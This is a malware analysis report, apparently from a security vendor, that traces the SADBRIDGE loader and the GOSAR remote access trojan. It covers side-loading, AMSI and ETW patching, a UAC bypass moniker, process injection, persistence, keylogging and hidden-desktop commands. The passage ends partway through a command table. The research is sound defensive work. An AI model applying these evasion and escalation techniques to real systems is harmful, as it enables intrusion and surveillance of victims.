<p>Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as <code>360tray.exe</code>, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.</p>
<p>QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, <a href="https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf?_ga=2.196384556.1458236792.1733495919-74841447.1733495919">Evolution of Quasar RAT</a>), including by China-linked <a href="https://www.fbi.gov/wanted/cyber/apt-10-group">APT10</a>. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.</p>
<p>GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image14.png" alt="SADBRIDGE Execution Chain resulting in GOSAR infection" /></p>
<h2>SADBRIDGE Introduction</h2>
<p>The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as <code>x64dbg.exe</code> and <code>MonitoringHost.exe</code> to load malicious DLLs like <code>x64bridge.dll</code> and <code>HealthServiceRuntime.dll</code>, which leads to subsequent stages and shellcodes.</p>
<p>Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a <a href="https://github.com/0xlane/BypassUAC">UAC bypass technique</a> that abuses the <code>ICMLuaUtil</code> COM interface. In addition, SADBRIDGE incorporates a <a href="https://github.com/zcgonvh/TaskSchedulerMisc">privilege escalation bypass</a> through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.</p>
<p>The SADBRIDGE configuration is encrypted using a simple subtraction of <code>0x1</code> on each byte of the configuration string. The encrypted stages are all appended with a <code>.log</code> extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.</p>
<p>SADBRIDGE employs <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty</a>, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long <code>Sleep</code> API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW).</p>
<p>The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.</p>
<h2>SADBRIDGE Code Analysis</h2>
<h4>MSI Analysis</h4>
<p>The initial files are packaged in an MSI using <a href="https://www.advancedinstaller.com/">Advanced Installer</a>, the main files of interest are <code>x64dbg.exe</code> and <code>x64bridge.dll</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image20.png" alt="Significant files inside the MSI installer" /></p>
<p>By using MSI tooling (<a href="https://github.com/activescott/lessmsi">lessmsi</a>), we can see the <code>LaunchApp</code> entrypoint in <code>aicustact.dll</code> is configured to execute the file path specified in the <code>AI_APP_FILE</code> property.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image1.png" alt="Custom actions configured using Advanced Installer" /></p>
<p>If we navigate to this <code>AI_APP_FILE</code> property, we can see the file tied to this configuration is <code>x64dbg.exe</code>. This represents the file that will be executed after the installation is completed, the legitimate <code>NetFxRepairTool.exe</code> is never executed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image31.png" alt="AI_APP_FILE property configured to launch x64dbg.exe" /></p>
<h4>x64bridge.dll Side-loading</h4>
<p>When <code>x64dbg.exe</code> gets executed, it calls the <code>BridgeInit</code> export from <code>x64bridge.dll</code>. <code>BridgeInit</code> is a wrapper for the <code>BridgeStart</code> function.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image30.png" alt="Control flow diagram showing call to BridgeStart" /></p>
<p>Similar to techniques observed with <a href="https://www.elastic.co/jp/security-labs/blister-loader">BLISTER</a>, SADBRIDGE patches the export of a legitimate DLL.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image7.png" alt="Comparison of BridgeStart export from x64bridge.dll" /></p>
<p>During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed <code>0x4E67C6A7</code>. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to <code>C:\Users\Public\Documents\&lt;hostname_hash&gt;\edbtmp.log</code>. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN  to hide itself from an ordinary directory listing.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image8.png" alt="Configuration file hidden from users" /></p>
<p>Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by <code>0x1</code>.</p>
<p>The configuration consists of:</p>
<ul>
<li>Possible campaign date</li>
<li>Strings to be used for creating services</li>
<li>New name for MonitoringHost.exe (<code>DevQueryBroker.exe</code>)</li>
<li>DLL name for the DLL to be sideloaded by MonitoringHost.exe (<code>HealthServiceRuntime.dll</code>)</li>
<li>Absolute paths for additional stages (<code>.log</code> files)</li>
<li>The primary injection target for hosting GOSAR (<code>svchost.exe</code>)</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image27.png" alt="SADBRIDGE configuration" /></p>
<p>The <code>DevQueryBroker</code> directory (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\</code>) contains all of the encrypted stages (<code>.log</code> files) that are decrypted at runtime. The file (<code>DevQueryBroker.exe</code>) is a renamed copy of Microsoft legitimate application (<code>MonitoringHost.exe</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image18.png" alt="File listing of the DevQueryBroker folder" /></p>
<p>Finally, it creates a process to run <code>DevQueryBroker.exe</code> which side-loads the malicious <code>HealthServiceRuntime.dll</code> in the same folder.</p>
<h4>HealthServiceRuntime.dll</h4>
<p>This module drops both an encrypted and partially decrypted shellcode in the User’s <code>%TEMP%</code> directory. The file name for the shellcode follows the format: <code>log&lt;random_string&gt;.tmp</code>. Each byte of the partially decrypted shellcode is then decremented by <code>0x10</code> to fully decrypt. The shellcode is executed in a new thread of the same process.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image10.png" alt="Decryption of a shellcode in HealthServiceRuntime.dll" /></p>
<p>The malware leverages API hashing using the same algorithm in <a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">research</a> published by SonicWall, the hashing algorithm is listed in the Appendix <a href="#appendix">section</a>. The shellcode decrypts <code>DevQueryBroker.log</code> into a PE file then performs a simple XOR operation with a single byte (<code>0x42)</code> in the first third of the file where then it decompresses the result using the LZNT1 algorithm.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image3.png" alt="Shellcode decrypting DevQueryBroker.log file" /></p>
<p>The shellcode then unmaps any existing mappings at the PE file's preferred base address using <code>NtUnmapViewOfSection</code>, ensuring that a call to <code>VirtualAlloc</code> will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific <code>.log</code> files they reference for decryption and execution.</p>
<h4>DevQueryBroker.log</h4>
<p>The malware dynamically loads <code>amsi.dll</code> to disable critical security mechanisms in Windows. It patches <code>AmsiScanBuffer</code> in <code>amsi.dll</code> by inserting instructions to modify the return value to <code>0x80070057</code>, the standardized Microsoft error code <code>E_INVALIDARG</code> indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches <code>AmsiOpenSession</code> to always return the same error code <code>E_INVALIDARG</code>. Additionally, it patches <code>EtwEventWrite</code> in <code>ntdll.dll</code>, replacing the first instruction with a <code>ret</code> instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image17.png" alt="Patching AmsiScanBuffer, AmsiOpenSession and EtwEventWrite APIs" /></p>
<p>Following the patching, an encrypted shellcode is written to <code>temp.ini</code> at path (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code>).<br />
The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the <code>SECURITY_LOCAL_SYSTEM_RID</code> and calling <code>CheckTokenMembership</code>. If not, it attempts to check for membership in the Administrators group by creating a SID using <code>SECURITY_BUILTIN_DOMAIN_RID</code> and <code>DOMAIN_ALIAS_RID_ADMINS</code> and performing a similar token membership check.</p>
<p>If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a <a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">UAC bypass mechanism</a> by leveraging the <code>ICMLuaUtil</code> COM interface. It crafts a moniker string <code>&quot;Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&quot;</code> to create an instance of the <code>CMSTPLUA</code> object with Administrator privileges. Once the object is created and the <code>ICMLuaUtil</code> interface is obtained, the malware uses the exposed <code>ShellExec</code> method of the interface to run <code>DevQueryBroker.exe</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image11.png" alt="Privilege Escalation via ICMLuaUtil COM interface" /></p>
<p>If a task or a service is not created to run <code>DevQueryBroker.exe</code> routinely, the malware checks if the Anti-Virus process <code>360tray.exe</code> is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:</p>
<ul>
<li>Service name: <strong>DevQueryBrokerService</strong><br />
Binary path name: <strong>“C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”</strong>.</li>
<li>Display name: <strong>DevQuery Background Discovery Broker Service</strong></li>
<li>Description: <strong>Enables apps to discover devices with a background task.</strong></li>
<li>Start type: <strong>Automatically at system boot</strong></li>
<li>Privileges: <strong>LocalSystem</strong></li>
</ul>
<p>If <code>360tray.exe</code> is detected running, the malware writes an encrypted PE file to <code>DevQueryBrokerService.log</code>, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it.</p>
<p>Once <code>DevQueryBroker.exe</code> is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there.</p>
<p>On Windows 7, however, it executes a shellcode, which decrypts and runs the <code>DevQueryBrokerPre.log</code> file.</p>
<h3>Stage 1 Injection (explorer.exe)</h3>
<p>SADBRIDGE utilizes <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty Variant 7</a> to inject shellcode into <code>explorer.exe</code> by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within <code>explorer.exe</code> to store the shellcode. Additional memory is allocated to store a crafted <a href="https://github.com/SafeBreach-Labs/PoolParty/blob/77e968b35f4bad74add33ea8a2b0b5ed9543276c/PoolParty/ThreadPool.hpp#L42"><code>TP_DIRECT</code></a> structure, which includes the base address of the shellcode as the callback address. Finally, it calls <code>ZwSetIoCompletion</code>, passing a pointer to the <code>TP_DIRECT</code> structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image21.png" alt="I/O Completion Port Shellcode Injection" /></p>
<p>This shellcode decrypts the <code>DevQueryBrokerService.log</code> file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode.</p>
<h3>Stage 2 Injection (spoolsv.exe/lsass.exe)</h3>
<p>For Stage 2, SADBRIDGE injects shellcode into <code>spoolsv.exe</code>, or <code>lsass.exe</code> if <code>spoolsv.exe</code> is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts <code>DevQueryBrokerPre.log</code> into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.</p>
<h4>DevQueryBrokerService.log</h4>
<p>The shellcode decrypted from <code>DevQueryBrokerService.log</code> as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC <a href="https://github.com/zcgonvh/TaskSchedulerMisc">bypass technique</a> using the <code>IElevatedFactorySever</code> COM object to indirectly create the scheduled task. This task is configured to run <code>DevQueryBroker.exe</code> on a daily basis with SYSTEM level privileges using the task name <code>DevQueryBrokerService</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image9.png" alt="GUID in Scheduled Task Creation (Virtual Factory for MaintenanceUI)" /></p>
<p>In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from <code>explorer.exe</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image13.png" alt="DevQueryBrokerService.log Spoofed Image Command-Line" /></p>
<h4>DevQueryBrokerPre.log</h4>
<p>SADBRIDGE creates a service named <code>DevQueryBrokerServiceSvc</code> under the registry subkey <code>SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc</code> with the following attributes:</p>
<ul>
<li><strong>Description</strong>: Enables apps to discover devices with a background task.</li>
<li><strong>DisplayName</strong>: DevQuery Background Discovery Broker Service</li>
<li><strong>ErrorControl</strong>: 1</li>
<li><strong>ImagePath</strong>: <code>%systemRoot%\system32\svchost.exe -k netsvcs</code></li>
<li><strong>ObjectName</strong>: LocalSystem</li>
<li><strong>Start</strong>: 2 (auto-start)</li>
<li><strong>Type</strong>: 16.</li>
<li><strong>Failure Actions</strong>:
<ul>
<li>Resets failure count every 24 hours.</li>
<li>Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.</li>
</ul>
</li>
</ul>
<p>The service parameters specify the <code>ServiceDll</code> located at <code>C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\&lt;hostname_hash&gt;\DevQueryBrokerService.dll</code>. If the DLL file does not exist, it will be dropped to disk right after.</p>
<p><code>DevQueryBrokerService.dll</code> has a similar code structure as <code>HealthServiceRuntime.dll</code>, which is seen in the earlier stages of the execution chain. It is responsible for decrypting <code>DevQueryBroker.log</code> and running it. The <code>ServiceDll</code> will be loaded and executed by <code>svchost.exe</code> when the service starts.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image12.png" alt="svchost.exe’s malicious ServiceDLL parameter" /></p>
<p>Additionally, it modifies the <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs</code> key to include an entry for <code>DevQueryBrokerServiceSvc</code> to integrate the newly created service into the group of services managed by the <code>netsvcs</code> service host group.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image19.png" alt="Modifies the netsvc registry key to add DevQueryBrokerServiceSvc" /></p>
<p>SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys <code>SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService</code> and <code>SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService</code>.</p>
<p>Finally, it removes the files <code>DevQueryBroker.exe</code> and <code>HealthServiceRuntime.dll</code> in the <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker</code> folder, as the new persistence mechanism is in place.</p>
<h2>GOSAR Injection</h2>
<p>In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the <code>WTSEnumerateSessionsA</code> API.</p>
<p>If sessions are found, it iterates through each session:</p>
<ul>
<li>For each session, it attempts to retrieve the username (<code>WTSUserName</code>) using <code>WTSQuerySessionInformationA</code>. If the query fails, it moves to the next session.</li>
<li>If <code>WTSUserName</code> is not empty, the code targets <code>svchost.exe</code>, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.</li>
<li>If <code>WTSUserName</code> is empty but the session's <code>WinStationName</code> is <code>&quot;Services&quot;</code> (indicating a service session), it targets <code>dllhost.exe</code> instead, passing the same parameters to the final stage injection subroutine.</li>
</ul>
<p>If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.</p>
<p>Logged-in sessions target <code>svchost.exe</code>, while service sessions or sessions without a logged-in user target <code>dllhost.exe</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image6.png" alt="Enumeration of active sessions" /></p>
<p>If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to <code>S-1-16-12288</code> (System integrity). It then uses the elevated token to create a child process (<code>svchost.exe</code> or <code>dllhost.exe</code>) via <code>CreateProcessAsUserA</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image4.png" alt="Duplication of user token and elevating token privileges" /></p>
<p>If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using <code>CreateProcessA</code>.</p>
<p>The encrypted shellcode <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code> is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt <code>.log</code> files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image2.png" alt="APC injection to run GOSAR" /></p>
<p>Finally, the injected shellcode decrypts <code>DevQueryBrokerCore.log</code> to GOSAR and runs it in the newly created process’s memory.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image33.png" alt="GOSAR injected into dllhost.exe and svchost.exe" /></p>
<h2>GOSAR Introduction</h2>
<p>GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version.</p>
<p>By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image29.png" alt="Low detection rate on GOSAR VT upload" /></p>
<p>Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).</p>
<h2>GOSAR Code Analysis Overview</h2>
<h3>Code structure of GOSAR</h3>
<p>As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version <code>0.12.01</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image26.png" alt="GOSAR code structure" /></p>
<ul>
<li><strong>vibrant/config</strong>: Contains the configuration files for the malware.</li>
<li><strong>vibrant/proto</strong>: Houses all the Google Protocol Buffers (proto) declarations.</li>
<li><strong>vibrant/network</strong>: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener</li>
<li><strong>vibrant/msgs/resolvers</strong>: Defines the commands handled by the malware. These commands are assigned to an object within the <code>vibrant_msgs_init*</code> functions.</li>
<li><strong>vibrant/msgs/services</strong>: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the <code>vibrant_network._ptr_Connection.Start</code> function.</li>
<li><strong>vibrant/logs</strong>: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.</li>
<li><strong>vibrant/pkg/helpers</strong>: Contains helper functions used across various malware commands and services.</li>
<li><strong>vibrant/pkg/screenshot</strong>: Handles the screenshot capture functionality on the infected system.</li>
<li><strong>vibrant/pkg/utils</strong>: Includes utility functions, such as generating random values.</li>
<li><strong>vibrant/pkg/native</strong>: Provides functions for calling Windows API (WINAPI) functions.</li>
</ul>
<h3>New Additions to GOSAR</h3>
<h4>Communication and information gathering</h4>
<p>This new variant continues to use the same communication method as the original, based on <strong>TCP TLS</strong>. Upon connection, it first sends system information to the C2, with 4 new fields added:</p>
<ul>
<li>IPAddress</li>
<li>AntiVirus</li>
<li>ClipboardSettings</li>
<li>Wallets</li>
</ul>
<p>The list of AntiViruses and digital wallets are initialized in the function <code>vibrant_pkg_helpers_init</code> and can be found at the bottom of this document.</p>
<h4>Services</h4>
<p>The malware handles 3 services that are started during the initial connection of the client to the C2:</p>
<ul>
<li>vibrant_services_KeyLogger</li>
<li>vibrant_services_ClipboardLogger</li>
<li>vibrant_services_TickWriteFile</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image22.png" alt="GOSAR services" /></p>
<h5>KeyLogger</h5>
<p>The keylogging functionality in GOSAR is implemented in the <code>vibrant_services_KeyLogger</code> function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa"><code>SetWindowsHookEx</code></a> with the parameter <code>WH_KEYBOARD_LL</code> to monitor low-level keyboard events. The hook function is named <code>vibrant_services_KeyLogger_func1</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image28.png" alt="GOSAR setting the keylogger" /></p>
<h5>ClipboardLogger</h5>
<p>The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-isclipboardformatavailable"><code>IsClipboardFormatAvailable</code></a> then retrieves it using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getclipboarddata"><code>GetClipboardData</code></a> API.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image34.png" alt="GOSAR clipboard logging" /></p>
<h5>TickWriteFile</h5>
<p>Both <code>ClipboardLogger</code> and <code>KeyLogger</code> services collect data that is written by the <code>TickWriteFile</code> periodically to directory (<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics</code>) under a file of the current date, example <code>2024-11-27</code>.<br />
It can be decrypted by first subtracting the value <code>0x1f</code> then xoring it with the value <code>0x18</code> as shown in the CyberChef recipe.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image24.png" alt="CyberChef recipe used to decrypt keylogger logs" /></p>
<h4>Networking setup</h4>
<p>After initializing its services, the malware spawns <strong>three threads</strong> dedicated to its networking setup.</p>
<ul>
<li>vibrant_network_ConfigFirewallRule</li>
<li>vibrant_network_ConfigHosts</li>
<li>vibrant_network_ConfigAutoListener</li>
</ul>
<p><a href="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image15.png">Threads handling networking setup</a></p>
<h5>ConfigFirewallRule</h5>
<p>The malware creates an inbound firewall rule for the ports range <code>51756-51776</code> under a Chinese name that is translated to <code>Distributed Transaction Coordinator (LAN)</code> it allows all programs and IP addresses inbound the description is set to :<code>Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image23.png" alt="Added firewall rule" /></p>
<h5>ConfigHosts</h5>
<p>This function adds an entry to <code>c:\Windows\System32\Drivers\etc\hosts</code> the following <code>127.0.0.1 micrornetworks.com</code>. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.</p>
<h5>ConfigAutoListener</h5>
<p>This functionality of the malware runs an HTTP server listener on the first available port within the range <code>51756-51776</code>, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a <code>GET</code> request to the URI <code>/security.js</code>, responding with the string <code>callback();</code>, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image5.png" alt="Callback handled by GOSAR" /></p>
<h4>Logs</h4>
<p>The malware saves its runtime logs in the directory: <code>%APPDATA%\Roaming\Microsoft\Logs</code> under the filename formatted as: <code>windows-update-log-&lt;YearMonthDay&gt;.log</code>.<br />
Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the <code>vibrant_config</code> function, the following is an example:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image16.png" alt="Logs example generated by GOSAR" /></p>
<p>The attacker can remotely retrieve the malware's runtime logs by issuing the command <code>ResolveGetRunLogs</code>.</p>
<h4>Plugins</h4>
<p>The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: <code>C:\ProgramData\policy-err.log</code>. To execute a plugin, the command <code>ResolveDoExecutePlugin</code> is called, it first checks if a plugin is available.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image35.png" alt="GOSAR checking for existence of a plugin to execute" /></p>
<p>It then loads a native DLL reflectively that is stored in base64 format in the binary named <code>plugins.dll</code> and executes its export function <code>ExecPlugin</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image25.png" alt="GOSAR loading plugins.dlll and calling ExecPlugin" /></p>
<p><code>ExecPlugin</code> creates a suspended process of <code>C:\Windows\System32\msiexec.exe</code> with the arguments <code>/package</code> <code>/quiet</code>. It then queues <a href="https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls">Asynchronous Procedure Calls</a> (APC) to the process's 	main thread. When the thread is resumed, the queued shellcode is executed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image36.png" alt="GOSAR plugin module injecting a PE in msiexec.exe" /></p>
<p>The shellcode reads the encrypted plugin stored at <code>C:\ProgramData\policy-err.log</code>, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.</p>
<h4>HVNC</h4>
<p>The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands</p>
<ul>
<li>ResolveHVNCCommand</li>
<li>ResolveGetHVNCScreen</li>
<li>ResolveStopHVNC</li>
<li>ResolveDoHVNCKeyboardEvent</li>
<li>ResolveDoHVNCMouseEvent</li>
</ul>
<p>The first command that is executed is <code>ResolveGetHVNCScreen</code> which will first initialise it and set up a view, it uses an embedded native DLL <code>HiddenDesktop.dll</code> in base64 format, the DLL is reflectively loaded into memory and executed.</p>
<p>The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:</p>
<ul>
<li>ExcuteCommand</li>
<li>DoMouseScroll</li>
<li>DoMouseRightClick</li>
<li>DoMouseMove</li>
<li>DoMouseLeftClick</li>
<li>DoKeyPress</li>
<li>CaptureScreen</li>
</ul>
<p>The first export function called is <code>Initialise</code> to initialise a desktop with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createdesktopa"><code>CreateDesktopA</code></a> API. This HVNC implementation handles 17 commands in total that can be found in <code>ExcuteCommand</code> export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command <code>ResolveHVNCCommand</code> that will call <code>ExcuteCommand</code>.</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0x401</td>
<td align="left">The function first disables taskbar button grouping by setting the <code>TaskbarGlomLevel</code> registry key to <code>2</code> under <code>Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</code>. Next, it ensures the taskbar is always visible and on top by using <code>SHAppBarMessage</code> with the <code>ABM_SETSTATE</code> command, setting the state to <code>ABS_ALWAYSONTOP</code>.</td>
</tr>
<tr>
<td align="left">0x402</td>
<td align="left">Spawns a RUN dialog box by executing the 61th export function of <code>shell32.dll</code>.<code>C:\Windows\system32\rundll32.exe shell32.dll,#61</code></td>
</tr>
<tr>
<td align="left">0x403</td>
<td align="left">Runs an instance of <code>powershell.exe</code></td>
</tr>
<tr>
<td align="left">0x404</td>
<td align="left">Executes a PE file stored in <code>C:\\ProgramData\\shell.log</code></td>
</tr>
<tr>
<td align="left">0x405</td>
<td align="left">Runs an instance of <code>chrome.exe</code></td>
</tr>
<tr>
<td align="left">0x406</td>
<td align="left">Runs an instance of <code>msedge.exe</code></td>
</tr>
<tr>
<td align="left">0x407</td>
<td align="left">Runs an instance of <code>firefox.exe</code></td>
</tr>
<tr>
<td align="left">0x408</td>
<td align="left">Runs an instance of <code>iexplore.exe</code></td>
</tr>
<tr>
